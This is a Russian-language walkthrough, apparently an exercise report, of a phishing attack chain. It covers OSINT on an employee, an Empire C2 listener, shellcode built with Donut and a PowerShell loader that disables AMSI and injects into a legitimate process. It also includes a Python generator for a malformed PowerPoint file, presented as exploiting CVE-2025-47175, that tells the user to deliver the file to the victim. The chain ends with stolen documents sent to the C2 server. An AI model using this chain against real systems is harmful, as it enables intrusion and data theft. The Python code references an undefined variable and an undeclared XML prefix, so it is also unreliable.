Действия с 3 по 7 этапы отображены на видео в ветке репозитория или по ссылке Видео. Действия на втором и третьем этапах показаны на изображениях, а также частично описаны блоки кода
По инфоормации из открытых источников была вычислена почта сотрудника, а так же информация о его коллегах и начальстве. Принято решение использовать это в целях доставки полезной нагрузки
Для создания оружия были использованы следующие инструменты: Empire C2 Donut Python
После установки и настройки всех инструментов сначала следует настроить listener на сервере Empire. Listener необходим для установки связи с агентами, занесёнными через эксплоит на целевую машину. Созданный listener находится в папке изображения под номером 1. Мы выбрали http соединение и скомпроментированный профиль Windows для маскировки трафика Далее мы создаём payload через функцию stager. Параметры payload находятся на изображении 2. Мы выбрали windows_dll для создания инъекции С помощью Donut мы превращаем .dll в шеллкод, который возможно загзуить сразу в память. Пример кода для этого приведён ниже
donut -i Путь/К/.dll -o Где/сохранить/файл.bin
Сам шеллкод будет загружаться в память жертве с помощью PowerShell скрипта, его примерное описание (PoC) таково:
#Происходит отключение AMSI скрипта, чтобы не произошло обнаружение следующих функций
#Созадние защищённого соединения между машиной клиента и сервером злоумышленника
#Загрузка шеллкода в память
#Определение типов WinAPI
#Поиск ID легитимного процесса
#Создание системным API легетимного процесса с шеллкодом
С помощью Python был разработан скрипт для создания .pptx формата из xml с помощью функций zip. Элементу содержащему шеллкод был выдан неправильный ID элемента, что должно повлечь эксплуатацию уязвимости CVE-2025-47175. Скрипт принимает на вход значения: ID элемента, имя элемента, подгтовленное вредоносное содержимое скрипта.
import zipfile
import sys
import argparse
def create_exploit_pptx(filename, shape_id, shape_name, trigger_text):
slide_xml = f'''<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<p:sld xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main"
xmlns:p="http://schemas.openxmlformats.org/presentationml/2006/main">
<p:cSld>
<p:spTree>
<p:sp>
<p:nvSpPr>
<p:cNvPr id="{shape_id}" name="{shape_name}"/>
<p:cNvSpPr/>
<p:nvPr/>
</p:nvSpPr>
<p:spPr/>
<p:txBody>
<a:bodyPr/>
<a:lstStyle/>
<a:p>
<a:r>
<a:t>{malware_script}</a:t>
</a:r>
</a:p>
</p:txBody>
</p:sp>
</p:spTree>
</p:cSld>
</p:sld>'''
try:
with zipfile.ZipFile(filename, 'w') as z:
z.writestr('[Content_Types].xml',
'''<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types">
<Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/>
<Default Extension="xml" ContentType="application/xml"/>
<Override PartName="/ppt/slides/slide1.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.slide+xml"/>
</Types>''')
z.writestr('ppt/_rels/presentation.xml.rels',
'''<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/slide" Target="slides/slide1.xml"/>
</Relationships>''')
z.writestr('ppt/presentation.xml',
'''<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<p:presentation xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main"
xmlns:p="http://schemas.openxmlformats.org/presentationml/2006/main">
<p:sldIdLst>
<p:sldId id="256" r:id="rId1"/>
</p:sldIdLst>
<p:sldSz cx="9144000" cy="6858000" type="screen4x3"/>
</p:presentation>''')
z.writestr('ppt/slides/slide1.xml', slide_xml)
print(f"[+] Malicious PPTX file '{filename}' created successfully.")
print("[*] Deliver this file to the victim and wait for them to open it in vulnerable PowerPoint.")
except Exception as e:
print(f"[-] Error: {e}", file=sys.stderr)
sys.exit(1)
def main():
parser = argparse.ArgumentParser(description='Exploit generator for CVE-2025-47175 (PowerPoint UAF)')
parser.add_argument('-o', '--output', type=str, default='exploit_cve_2025_47175.pptx',
help='Output PPTX filename (default: exploit_cve_2025_47175.pptx)')
parser.add_argument('-i', '--id', type=int, default=1234,
help='Shape ID (default: 1234)')
parser.add_argument('-n', '--name', type=str, default='MaliciousShape',
help='Shape Name (default: MaliciousShape)')
parser.add_argument('-t', '--text', type=str, default='This content triggers CVE-2025-47175 UAF vulnerability.',
help='Trigger text inside the slide (default: explanation message)')
args = parser.parse_args()
create_exploit_pptx(args.output, args.id, args.name, args.text)
if __name__ == "__main__":
main()Все вредоносные файлы были прообфусцированы внутренними функциями Empire C2 и Donut.
Для доставки была использована тактика фишинга. Злоумешленник обычно подделывает электронную почту для убедительности и присылает документ, с которым обязательно нужно что-то быстро сделать. В нашем случае злоумышленник отправил презентацию PowerPoint с вредоносным кодом
Жертва открывает презентацию и видит перед собой сообщение, что она может быть повреждена и ей дают вариант восстановить её, что жертва и делает. Презентация повреждена, потому что у одного из её элементов неправильный ID. При попытке восстановления код этого элемента загружается в память и выполняется. Поскольку процесс восстановления требует прав администратора, то вредоносный процесс будет обладать теми же правами
После выполнения скрипта из повреждённого элемента в презентации, шеллкод устанавливается в выделенную заранее скриптом память и имеет ID легетимного процесса, весь свой трафик он маскирует через TLS, создаёт ложное соединение с серверами Microsoft
При выполнении в памяти шеллкод устанавливает связь с listner'ом сеовера Empire C2. После этого на самом сервере он должен появится как один из доступных агентов. Агент может выполнять удалённо код, который ему отправляет сервер. В нашем примере агент смог получить ID всех процессов в системе и произвёл reflective dll инъекцию в процесс rundll32
Установленный агент нашёл в пользовательской папке с документами необходимые данные, после чего отправил их на сервер и администратор C2 сервера смог посмотреть их содержимое. В итоге злоумешленник смог осуществить кражу данных не потеряв контроль над C2 агентом